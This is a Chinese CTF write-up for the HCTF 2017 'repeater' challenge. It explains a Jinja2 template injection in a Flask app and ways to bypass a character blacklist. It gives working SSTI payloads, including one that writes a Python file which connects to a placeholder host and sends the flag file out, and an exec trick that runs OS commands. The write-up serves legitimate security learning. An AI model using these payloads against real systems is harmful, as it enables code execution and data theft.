点击此处获得更好的阅读体验
WriteUp 来源
题目考点
解题思路
题目是根据原文魔改的
打开题目F12发现server为Server: Werkzeug/0.12.2 Python/2.7.12
然后发现输入x就返回x was not found.
差不多可以想到jinja模板注入问题,测试 secret={\{2-1}}
返回1 was not found.即可验证
由于也是黑名单过滤,绕过方式看师傅们的姿势
request.args过滤了 空格(%20),回车(%0a),'__','[',']','os','"',"|[a-z]"
直接构造是可以bypass的
空格可以用tab(%09)
绕过,|后不允许接a-z可以用%0c
,tab等绕过,
os可以通过python中exec绕过
但是这题过滤仅限于request.args但是不允许post
简单的办法是可以用request.cookies
来绕过
只能读文件的方法要找flag
首先需要先到/etc/passwd看到有hctf用户
然后读取/home/hctf/.bash_history,发现flag路径/h3h3_1s_your_flag/flag
,在读取flag
随便列几种解题方法
1.不用blask_list里的符号
1 | secret={\%set%0ca,b,c,d,e,f,g,h,i=request|%0cattr(request.args.class|%0cformat(request.args.a,request.args.a,request.args.a,request.args.a))|%0cattr(request.args.mro|%0cformat(request.args.a,request.args.a,request.args.a,request.args.a))%}{\{(i|%0cattr(request.args.subc|%0cformat(request.args.a,request.args.a,request.args.a,request.args.a))()).pop(40)(request.args.file,request.args.write).write(request.args.payload)}}{\{config.from_pyfile(request.args.file)}}&class=%s%sclass%s%s&mro=%s%smro%s%s&subc=%s%ssubclasses%s%s&usc=_&file=/tmp/foo.py&write=w&a=_&payload=import%0csocket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('xxx.xxx.xxx.xxx',2333));s.send(open('/h3h3_1s_your_flag/flag').read()); |
2.exec构造绕过'os'执行os系统命令
1 | a='import\x0co'+'s;o'+'s.system(\'ls${IFS}/\')';exec(a) |
3.通过request.cookies
1 | Url: http://repeater.2017.hctf.io/?secret={\{request|%0cattr(request.cookies.class)|%0cattr(request.cookies.mro)|%0clast()|%0cattr(request.cookies.sub)()|%0cattr(request.cookies.getitem)(40)(request.cookies.file)|%0cattr(request.cookies.read)()}} |
Flag
1 | 无 |